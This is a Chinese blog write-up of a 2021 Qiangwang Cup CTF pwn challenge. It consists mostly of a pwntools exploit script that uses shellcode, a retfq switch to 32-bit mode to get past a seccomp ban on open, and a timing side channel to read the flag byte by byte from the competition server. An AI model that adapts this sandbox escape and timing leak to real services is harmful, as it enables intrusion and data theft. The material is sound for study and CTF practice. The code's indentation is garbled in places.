# 强网杯2021CTF 强网先锋shellcode侧信道攻击复现

原创

Azly 于 2021-08-27 07:20:37 发布 287 收藏
分类专栏： CTF PWN 文章标签： 系统安全




**前言：由于个别原因这个比赛忘记参加了，所以赛后挑选了一道测信道攻击的题来进行复现，这个题开启了沙盒，采用测信道爆破flag，大概思路：使用retf切换到32位open来进行open('./flag')，retfq再回到64位的write和read就可以了，此题禁用了open所以使用32位的open，如果禁用了write就使用32位的write，同理，具体代码分析，懂汇编就能看懂这里就不赘述了，参考了别的大佬的exp，大概就是这样写的,至于系统调用号可以参考前篇调用号文章**

exp：

```
from pwn import *
elf=ELF('./shellcode')

def pwn(io,idx,ch):
  append_x86 = '''
  push ebx
  pop ebx
  '''
  shellcode_x86 = '''
  /*fp = open("flag")*/
  mov esp,0x40404140
  push 0x67616c66
  push esp
  pop ebx
  xor ecx,ecx
  mov eax,5
  int 0x80
  mov ecx,eax
  '''
  shellcode_flag = '''
  push 0x33
  push 0x40404089
  retfq
  /*read(fp,buf,0x70)*/
  mov rdi,rcx
  mov rsi,rsp
  mov rdx,0x70
  xor rax,rax
  syscall
```

```
'''
if index == 0:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(index,ch)
else:
shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(index,ch)
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx


push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
```

```
  push rdx
  pop rax
  push 0x5d
  pop rcx
  xor byte ptr[rax+0x57],cl
  push 0x5f
  pop rcx
  xor byte ptr[rax+0x58],cl
  push rdx
  pop rax
  xor al,0x70
  '''
  shellcode_retfq = '''
  push rbx
  pop rax

  xor al,0x40
  push 0x72
  pop rcx
  xor byte ptr[rax+0x40],cl
  push 0x68
  pop rcx
  xor byte ptr[rax+0x40],cl
  push 0x47
  pop rcx
  sub byte ptr[rax+0x41],cl
  push 0x48
  pop rcx
  sub byte ptr[rax+0x41],cl
  push rdi
  push rdi
  push 0x23
  push 0x40404040
  pop rax
  push rax
  '''
  shellcode += shellcode_mmap
  shellcode += append
  shellcode += shellcode_read
  shellcode += append
  shellcode += shellcode_retfq
  shellcode += append
  shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
  print(hex(len(shellcode)))
  io.sendline(shellcode)
  sleep(0.5)
  io.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
index = 0
a=[]
while True:
  for ch in range(0x20,127):
    #io=process('./chall')
    io=remote('39.105.137.118',50050)
    pwn(io,index,ch)
    start = time.time()
    try:
      io.recv(timeout=2)
      print("".join([chr(i) for i in a]))
    except:
      pass
```

```
    end=time.time()
    io.close()
    if end-start>1.5:
      a.append(ch)
      print("".join([chr(i) for i in a]))
      break
  else:
    print("".join([chr(i) for i in a]))
    break
  index = index + 1
print("".join([chr(i) for i in a]))
```

总结：学到了测信道爆破flag